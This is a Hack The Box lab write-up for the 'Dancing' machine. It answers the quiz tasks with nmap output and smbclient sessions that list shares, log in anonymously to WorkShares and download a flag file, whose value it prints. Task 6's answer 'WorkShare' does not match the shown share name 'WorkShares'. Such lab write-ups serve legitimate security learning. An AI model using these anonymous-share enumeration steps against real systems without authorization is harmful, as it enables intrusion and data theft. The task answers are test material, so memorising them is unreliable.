Dancing HTB WriteUp

Write by:n0userx

Task 1 – What does the 3-letter acronym SMB stand for?

Answer – Server Message Block

Task 2 – What port does SMB use to operate at?

Answer – 445

Task 3 – What is the service name for port 445 that came up in our Nmap scan?

```
┌──(ninja㉿kali)-[~]
└─$ nmap -sS -Pn -sV 10.129.238.194
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-24 17:40 -03
Nmap scan report for 10.129.238.194
Host is up (0.26s latency).
Not shown: 996 closed tcp ports (reset)
PORT     STATE SERVICE       VERSION
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 179.11 seconds
```

Answer – microsoft-ds

Task 4 – What is the ‘flag’ or ‘switch’ that we can use with the smbclient utility to ‘list’ the available shares on Dancing?

Answer - -L

Task 5 – How many shares are there on Dancing?

```
┌──(ninja㉿kali)-[~]
└─$ smbclient -N -L  //10.129.238.194

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        WorkShares      Disk
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.129.238.194 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
```

Answer - 4

Task 6 – What is the name of the share we are able to access in the end with a blank password

```
┌──(ninja㉿kali)-[~]
└─$ smbclient -N  //10.129.238.194/WorkShares
Try "help" to get a list of possible commands.
smb: \>
```

Answer - WorkShare

Task 7 – What is the command we can use within the SMB shell to download the files we find?

Answer – get

Task 8 – Submit root flag

```
┌──(ninja㉿kali)-[~]
└─$ smbclient -N  //10.129.238.194/WorkShares
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Mon Mar 29 05:22:01 2021
  ..                                  D        0  Mon Mar 29 05:22:01 2021
  Amy.J                               D        0  Mon Mar 29 06:08:24 2021
  James.P                             D        0  Thu Jun  3 05:38:03 2021

                5114111 blocks of size 4096. 1734193 blocks available
smb: \> cd James.P
smb: \James.P\> ls
  .                                   D        0  Thu Jun  3 05:38:03 2021
  ..                                  D        0  Thu Jun  3 05:38:03 2021
  flag.txt                            A       32  Mon Mar 29 06:26:57 2021

                5114111 blocks of size 4096. 1734193 blocks available
smb: \James.P\> get flag.txt
getting file \James.P\flag.txt of size 32 as flag.txt (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)
smb: \James.P\> exit

┌──(ninja㉿kali)-[~]
└─$ cat flag.txt
5f61c10dffbc77a704d76016a22f1664
```

Answer - 5f61c10dffbc77a704d76016a22f1664

Keep Hacking !!